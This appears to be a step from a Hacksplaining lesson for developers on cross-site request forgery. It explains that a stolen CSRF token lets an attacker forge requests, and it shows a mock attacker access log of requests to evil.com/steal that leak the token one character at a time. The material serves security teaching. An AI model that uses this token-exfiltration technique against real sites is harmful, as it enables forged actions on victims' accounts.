Hacksplaining Log in

Want everyone on your software team to learn this? Free 14-day trial.

Train my team

With the stolen CSRF token the hacker can now forge legitimate-looking requests to the application, bypassing CSRF protection and performing unauthorized actions on behalf of the victim.

Hacker Mal
CSRF Token Found!
Access log 
HTTP GET https://evil.com/steal?token=9k2mX8qL4nR
HTTP GET https://evil.com/steal?token=9k2mX8qL4nR7
HTTP GET https://evil.com/steal?token=9k2mX8qL4nR7p
HTTP GET https://evil.com/steal?token=9k2mX8qL4nR7pF
HTTP GET https://evil.com/steal?token=9k2mX8qL4nR7pF1
HTTP GET https://evil.com/steal?token=9k2mX8qL4nR7pF1v